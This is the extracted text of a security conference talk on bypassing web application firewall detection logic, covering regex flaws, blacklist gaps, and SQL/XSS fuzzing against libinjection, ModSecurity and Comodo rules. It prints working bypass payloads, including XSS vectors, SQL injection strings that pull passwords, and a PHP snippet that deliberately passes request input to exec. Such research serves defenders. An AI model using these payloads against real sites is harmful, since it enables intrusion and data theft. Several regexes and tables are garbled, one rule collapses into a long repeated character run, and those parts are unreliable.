Web Application Firewalls: Attacking detection logic mechanisms

Vladimir Ivanov
@httpsonly
/whoam/i

MSc Information Security (merit) - RHUL (UK)

Web App penetration tester at Positive Technologies (ptsecurity.com)
Agenda

1. Introduction
2. Detection logic in WAF
3. METHOD I: Syntax bypass
4. METHOD II: Logical bypass
5. METHOD III: Unexpected by primary logic bypass
6. Takeaways
Motivation

The Standoff:

1. Attackers. Mix of various techniques, rarely understand root cause.

2. Defenders. WAFs protect against automotive testing, every vendor implements additional functionality.

Result: No careful whitebox analysis
WAF workflow example

Stage 1: Parse HTTP(s) packet from client

Stage 2: Chose rule set depending on type of incoming parameter

Stage 3: Normalise data

Stage 4: Apply detection logic

Stage 5: Make detection decision
WAF workflow: Detection logic

- OWASP CRS 2
- OWASP CRS 3dev
- OWASP CRS 3rc
- PHPIDS
- QuickDefenceWaf
- Vultureproject
- Waf.red
- ShadowD
- etc...

- Reputation
- Anomaly detection
- HMM
- Tokenizer
- Score Builder
- Reputationsheet
- libinjection
- libinjection
- libinjection
- libinjection
- libinjection
- libinjection
- libinjection
- libinjection

Regular expressions

OWASP KRSS 2
Comodo rules
PHPIDS
NAXSI
Anomaly detection
HMM
Regular expression...

...is a sequence of characters that define a search pattern

```
(?i)(<script[^>]*>.*?)(.*?)(\.[^>]*>)
```
500+ regular expressions:

- OWASP CRS2 (modsecurity)
- OWASP CRS3dev (modsecurity)
- OWASP CRS3rc1 (modsecurity)
- PHPIDS
- Comodo WAF
- QuickDefense

```
root@kali2:~$find . -name 'rules*.txt' | xargs wc -l
113 ./CRS2/rules-xss.txt
  55 ./CRS2/rules-sql.txt
   11 ./rules-QuickDefenceWAF.txt
   74 ./rules-PHPIDS.txt
  100 ./comodo-waf/rules-xss.txt
   16 ./comodo-waf/rules-sql.txt
   37 ./CRS3-rc/rules-xss.txt
   40 ./CRS3-rc/rules-sql.txt
   26 ./CRS3-dev/rules-xss.txt
   29 ./CRS3-dev/rules-sql.txt
501 total
```
Results

300+ potential bypasses

Most “vulnerable”: **PHPIDS** (*E = 1.15*)
Less “vulnerable”: **Comodo WAF** (*E = 0.32*)
Most “exploitable”: **OWASP CRS3-rc** (*E = 0.89*)

*E = Potential bypasses / Total rules*
METHOD I: Syntax bypass

Of regular expressions

Enumerate all possible and invent all impossible mistakes
What’s wrong with regexp?
Level: Easy

```php
if(!preg_match("/^\(attack\)\{1,3\}" , $_GET['a'])) {
    _exec($cmd . $_GET['a'] . $arg);
}
```
What’s wrong with regexp?
Level: Easy

```php
if (!preg_match("/^(attackpayloAd)\{1,3\}$/", $_GET['a'])) {
    _exec($cmd . $_GET['a'] . $arg);
}
```

1. atTacKpAyloAd

(?i:  )
What’s wrong with regexp?
Level: Easy

```php
if(!preg_match("/^\(attackpayload\)\{1,3\}$/", $_GET['a'])) {
    _exec($cmd . $_GET['a'] . $arg);
}
```

1. atTackpAyloAd  
2. attackpayload
What’s wrong with regexp?

Level: Easy

1. atTacKpAyloAd
2. attackpayload
3. attackpayloadattackpayloadattackpayloadattackpayloadattackpa...
What’s wrong with regexp?
Level: Medium

1. \( (a+) + \)  
   ReDoS
What’s wrong with regexp?

Level: Medium

1. \((a+)\)+

ReDoS

2. a'\s+b

Repetitions: + *
What’s wrong with regexp?
Level: Medium

1. `(a+)+`  
   - **ReDoS**

2. `a' \s+b`  
   - **Repetitions:**  +  *

3. `a[^\n]*b`  
   - **Blacklisting wildcards in a set**
What’s wrong with regexp?
Level: Advanced

1. `[A-z]`  
   Non-standard diapasons

2. `[digit]`  
   POSIX character classes

3. `a |a |`  
   Operators

4. `\11 \e \q`  
   Backlinks, wildcards
Regular expressions: Security cheatsheet

2 parts: theoretical "whitepaper" and practical "code".

Hack regular expressions with regular expressions!

+ SAST: Assists with whitebox analysis of regular expressions in source code of your projects
+ Low false positives: Focused on finding high severity security issues
+ Opensource on Github!
- Does not dynamically analyze lexis (yet).
Research was done to find "weak places" in regular expressions of Web Application Firewalls (WAFs). Repository contains SAST, which can help you to find security vulnerabilities in custom regular expressions in own projects. Contribution is highly welcomed.

High severity issues:

<table>
<thead>
<tr>
<th>#</th>
<th>Requirement</th>
<th>Vulnerable regex example</th>
<th>Bypass example</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Regexp should avoid using <code>^</code> (alternative: <code>\A</code>) and <code>$</code> (alternative: <code>\z</code>) symbols, which are metacharacters for start and end of a string. It is possible to bypass regex by inserting any symbol in front or after regexp.</td>
<td>`(^a</td>
<td>a$)`</td>
</tr>
<tr>
<td>2</td>
<td>Regexp should be case-insensitive: `(?i:</td>
<td>or <code>/regex/i</code>. It is possible to bypass regex using upper or lower cases in words. <strong>Modsecurity transformation commands</strong> (which are applied on string before regex pattern is applied) can also be included in tests to cover more regexps.</td>
<td><code>http</code></td>
</tr>
<tr>
<td></td>
<td>In case modifier <code>/m</code> is not (globally) specified, regexp should avoid using dot <code>.</code> symbol, which means every character.</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Target audience

Not only WAFs use Reg Exp Detection Logic:

• XSS Auditors
• Backend parsers
• Front-end analyzers

Developers, security auditors, bughunters
DEMO

Regex Security Cheatsheet DEMO
^(?:ht|f)tps?://((.\*)\$)
Comodo WAF: Att4ck is bl0cked!

```bash
root@kali2:/usr/share/modsecurity-crs/activated_rules# tail -n 12 /var/log/apache2/modsec_audit.log
Message: Access denied with code 403 [phase 2]. Pattern match "[{i:[\r \"]+}on[{a-z][a-z][a-z]{1,}?{\r +}{0,}?=}] at ARG($a). [file "/usr/share/modsecurity-crs/activated_rules/comodo_07_XSS_XSS.conf"] [line "365"] [id "213110"] [rev "1"] [msg "COMODO WAF: IE XSS Filters - Attack Detected.""] [data "Matched Data: /on[a-z][a-z][a-z]=a found within ARG($a): /on[a-z][a-z][a-z]=a"] [tag "Host: localhost"]
```

**Forbidden**

You don't have permission to access /test.php on this server.

```
Apache/2.4.10 (Debian) Server at localhost Port 80
```
QuickDefense WAF:
Attackers are lazy enough

(\texttt{\backslash bunion[\s\*\/]\{1,100\}}?\texttt{\bselect\b})
JavaScript checker in real-life web app

```javascript
function check_email(e) {
    var filter = /^([a-zA-Z0-9_.-])+@(([a-zA-Z0-9]+\.)+[a-zA-Z0-9]+)?$/;
    return filter.test(e);
}
```
JavaScript checker in real-life web app

```javascript
function check_email(e) {
    var filter = /^[a-zA-Z0-9_.-]+@[a-zA-Z0-9]+\.(a-zA-Z0-9\d-)+$/;
    return filter.test(e);
}
```

We can make ReDoS on **client-side** by supplying specially crafted email as input.
We can make ReDoS on **client-side** by supplying specially crafted email as input.

But what if **backend** also has same regex for checking?
JavaScript checker in real-life web app

```javascript
function check_email(e) {
    var filter = /^([a-zA-Z0-9_.-])+@([a-zA-Z0-9]+)+([a-zA-Z0-9]{2,4}).+$/;
    return filter.test(e);
}
```

We can make ReDoS on **client-side** by supplying specially crafted email as input.

But what if **backend** also has same regex for checking?

504 Gateway Time-out
EdgeHTML.dll
EdgeHTML.dll

IE+Edge XSS Auditor
EdgeHTML.dll

IE+Edge XSS Auditor
Result: blocked
EdgeHTML.dll

\"\"\"\[ ]*\((^a-z0-9~:\'\"\:\[\]\\)])\[(in)\].+?{\[\(\)\}\].+?{\[\(\)\]}\]

Regexp bypass. Result: alert!

The @ahack_ru for payload
fixed some duplicate word matchings found by Cryptic_Mauler

Showing 1 changed file with 5 additions and 5 deletions.

```
<rule>
  <![CDATA["s:\d|(?:\$\^\|\$\|^\|\$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\|$\$
What’s next?

1. Identify WAF vendor and version using “signature” vulnerabilities.
What’s next?

1. Identify WAF vendor and version using “signature” vulnerabilities.

2. Reveal and apply bypasses depending on a situation
What’s next?

1. Identify WAF vendor and version using “signature” vulnerabilities.

2. Reveal and apply bypasses depending on a situation.

3. Craft string which bypasses all regexp-based rules.
ModSecurity SQLi Bypass

Basic SQLi is given:

```php
$sql = "SELECT * FROM `test` WHERE id = " . $_GET['a'] . "";
```

All SQLi Regexp bypass:

- `1'OR#foo`  
- `id=IF#foo`  
- `(ASCII#foo (ASCII#foo ((SELECT-version()/1.))<250,1,0) #`
What’s next?

1. Identify WAF vendor and version using “signature” vulnerabilities.

2. Reveal and apply bypasses depending on a situation

3. Craft string which bypasses all regexp-based rules.

4. ...
What’s next?

1. Identify WAF vendor and version using “signature” vulnerabilities.

2. Reveal and apply bypasses depending on a situation

3. Craft string which bypasses all regexp-based rules.

4. ...

5. Dig deeper!
METHOD II: Logical bypass

Manual review analysis

+Non-standard findings
  - Subjective
Blacklists fail #1

SecRule ... "[\n\r](?:set-cookie|location):" "msg:'HTTP Response Splitting Attack', id:921120,

https://github.com/netty/netty/issues/5535
Blacklists fail #2, 3, 4, ...

<table>
<thead>
<tr>
<th>NAXSI</th>
<th>(0x)</th>
<th>(0b10101)</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>(b'10101')</td>
</tr>
</tbody>
</table>

| ModSecurity 2.2.9 XSS Rule 973300 | \(<(a|abbr|acronym|...\) | \(<non\_existing\_tag\) onmouseover=alert(1)>hover this! |

<table>
<thead>
<tr>
<th>ModSecurity 3RC-1 OS-Commands.data</th>
<th>adduser</th>
<th>useradd</th>
</tr>
</thead>
<tbody>
<tr>
<td>ipconfig</td>
<td></td>
<td>ifconfig</td>
</tr>
<tr>
<td>copy, move</td>
<td></td>
<td>cp, mv</td>
</tr>
</tbody>
</table>
Researches success

```plaintext
SecRule ... "@rx .*%4.*%4.*%4.*%4.*"
 phase:request,
 rev:'1',
 ver:'OWASP_CRS/3.0.0',
 maturity:'7',
 accuracy:'8',
 id:941310,

%script> alert(1) %/script>
or
<script% alert(1) </script%>
```

@mazen160
Researches success

SecRule ... "@rx .\*%\*\.* | .\*%\*\.*" \n  "phase:request,\n  rev:'1',\n  ver:'OWASP_CRS/3.0.0',\n  maturity:'7',\n  accuracy:'8',\n  id:941310,\n%

@mazen160

script> alert(1) %/script>
or
<script%> alert(1) </script%

SecRule ... "(fromcharcode|alert|eval)\s*\(("ver:'OWASP_CRS/2.2.9'\n  id:'973307'\n
alert 1"
METHOD III: Unexpected by primary logic bypass
XSS Fuzzer
XSS Fuzzer

BrowserStack

Browser Sandbox

vmware

mysql> SHOW TABLES;
Tables in xss_payloads
<table>
<thead>
<tr>
<th>test_1</th>
<th>test_10</th>
<th>test_2</th>
<th>test_3</th>
<th>test_4</th>
<th>test_5</th>
<th>test_6</th>
<th>test_7</th>
<th>test_8</th>
<th>test_9</th>
</tr>
</thead>
</table>
| 10 rows in set (0.00 sec)

mysql> SELECT vector, useragent FROM test_3 ORDER BY rand() LIMIT 0,10;

<table>
<thead>
<tr>
<th>vector</th>
<th>useragent</th>
</tr>
</thead>
<tbody>
<tr>
<td>%3Cimg%20%40src%3D%27%27%28onerror%3D%27%27makeCallback()%27%3E</td>
<td>Opera [25.0]</td>
</tr>
<tr>
<td>%3Cimg%20%40src%3D%27%27%28onerror%3D%27%27makeCallback()%27%3E</td>
<td>Opera [25.0]</td>
</tr>
<tr>
<td>%3Cimg%20%40src%3D%27%27%28onerror%3D%27%27makeCallback()%27%3E</td>
<td>Firefox [44.0]</td>
</tr>
<tr>
<td>%3Cimg%20%40src%3D%27%27%28onerror%3D%27%27makeCallback()%27%3E</td>
<td>Opera [25.0]</td>
</tr>
<tr>
<td>%3Cimg%20%40src%3D%27%27%28onerror%3D%27%27makeCallback()%27%3E</td>
<td>Safari [6.2.8]</td>
</tr>
<tr>
<td>%3Cimg%20%40src%3D%27%27%28onerror%3D%27%27makeCallback()%27%3E</td>
<td>Safari [6.2.8]</td>
</tr>
<tr>
<td>%3Cimg%20%40src%3D%27%27%28onerror%3D%27%27makeCallback()%27%3E</td>
<td>MSIE [11.0]</td>
</tr>
<tr>
<td>%3Cimg%20%40src%3D%27%27%28onerror%3D%27%27makeCallback()%27%3E</td>
<td>MSIE [11.0]</td>
</tr>
<tr>
<td>%3Cimg%20%40src%3D%27%27%28onerror%3D%27%27makeCallback()%27%3E</td>
<td>MSIE [11.0]</td>
</tr>
</tbody>
</table>

16 rows in set (0.00 sec)
libinjection

5000224' UNION USER_ID>0--

[ ('...500224', string),
  ('UNION', union operator),
  ('USER_ID', name),
  ('>', operator),
  ('0', number),
  ('--......', comment) ]

Nick Galbreath  @ngalbreath
libinjection

Training on SQLi

- Parse known SQLi attacks from
  - SQLi vulnerability scanners
  - Published reports
  - SQLi How-Tos
- > 32,000 total

Nick Galbreath
@ngalbreath
https://github.com/attacker-can/CPP-SQL-FUZZER

- Receive SQL query as input
- Fuzz it (mysql.h, SQLAPI.h, ODBC?)
- Record every query except syntax errors
- Parse output!

- Current MySQL.h performance: 21M symbols in <1 hour; speed = 9k queries per second (QPS).
- Up to 1.6M QPS!
SQL fuzzing

```bash
root@kali2:~/Desktop/cpp-sql-fuzzer/src/mysql# g++ main.cpp -L/usr/include/mysql -lmysqlclient -I/usr/include/mysql -o mysql_fuzz.out
root@kali2:~/Desktop/cpp-sql-fuzzer/src/mysql# time ./mysql_fuzz.out 'SELECT[XXX]1 FROM tbl1'
DB Init OK, start fuzzing
GOOD: 4682
real   6m38.217s
user   6m3.196s
sys    6m5.280s
```

```sql
mysql> SELECT distinct libinj_token, vector FROM good WHERE libinj_isSQL1 = 0 ORDER BY rand() LIMIT 5;
+------------------|------------------|
<table>
<thead>
<tr>
<th>libinj_token</th>
<th>vector</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ev</td>
<td>select@`=1 from tbl1</td>
</tr>
<tr>
<td>Eolkn</td>
<td>select!&gt;21 from tbl1</td>
</tr>
<tr>
<td>Eovkn</td>
<td>select!&lt;@1 from tbl1</td>
</tr>
<tr>
<td>Eolkn</td>
<td>select*,+1 from tbl1</td>
</tr>
<tr>
<td>Eoolk</td>
<td>select-&gt;&gt;1 from tbl1</td>
</tr>
</tbody>
</table>
+------------------|------------------|
5 rows in set (0.01 sec)
```

```sql
+------------------|
| total_unique_vectors |
+------------------|
| 13               |
+------------------|
1 row in set (0.00 sec)
```
SQL fuzzer: Examples

```bash
root@kali2:~/Desktop/CPP_MySQL/src# ./a.out -1" UNION SELECT !1 FROM test -- '
Fingerprint: sUE1k
sql1 detected

root@kali2:~/Desktop/CPP_MySQL/src# ./a.out '-1" UNION SELECT !<1 FROM test -- '
Fingerprint: sUEo1
not detected

root@kali2:~/Desktop/CPP_MySQL/src# ./fingerprints2sql1.py
sUEo1 "1" union select * 1

SELECT 1 FROM test - BLOCKED
SELECT !<1 FROM test - ALLOWED
SELECT !<1 FROM OOB(x) - ALLOWED
BREAKING TOKENS NOW!' -1" UNION SELECT !<1, password FROM users --
Fingerprint: sUEo1
not detected
```
# SQL Fuzzer: Results

## MySQL

<table>
<thead>
<tr>
<th>Injection</th>
<th>Allowed symbols</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>- union:</code></td>
<td>`. , .0, .&quot;&quot;, .'', &amp;.0, &amp;\n, -.0, -\n, &lt;.0, &gt;.0, e0, ^0.,</td>
</tr>
<tr>
<td><code>select 1:</code></td>
<td>`+-!*., !&gt;, !&lt;, !&gt;, !@, !$</td>
</tr>
</tbody>
</table>
| `column from:` | `">
| `from table:` | `.%20, %28` |
| `table limit:` | `--` |

## MSSQL

<table>
<thead>
<tr>
<th>Injection</th>
<th>Allowed symbols</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>Any</code></td>
<td><code>%00, %01, %02, %03, %04, %05, %06, %07, %08, %09, %0A, %0B, %0C, %0D, %0E, %0F, %10, %11, %12, %13,</code></td>
</tr>
</tbody>
</table>
Contribution

• Regexp security cheatsheet + SAST
  • Blacklist improvement
  • SQL Fuzzer: Classified tables

https://github.com/attackercan
TODO

1. Update Regular Expression Security Cheatsheet

2. Create regular expression Dynamic analysis tool

3. “Clever fuzzing” + scalable (MySQL allows 1.6M QPS)
Questions?
Thank you

Arseniy Sharoglazov  <mohemiv@gmail.com>
(Contribution to Regex Security Cheatsheet)

Dmitry Serebryannikov  @dsrbr
(Contribution to SQL fuzzer)

Andrey Evlanin  @xpathmaster

All @ptsecurity team ;)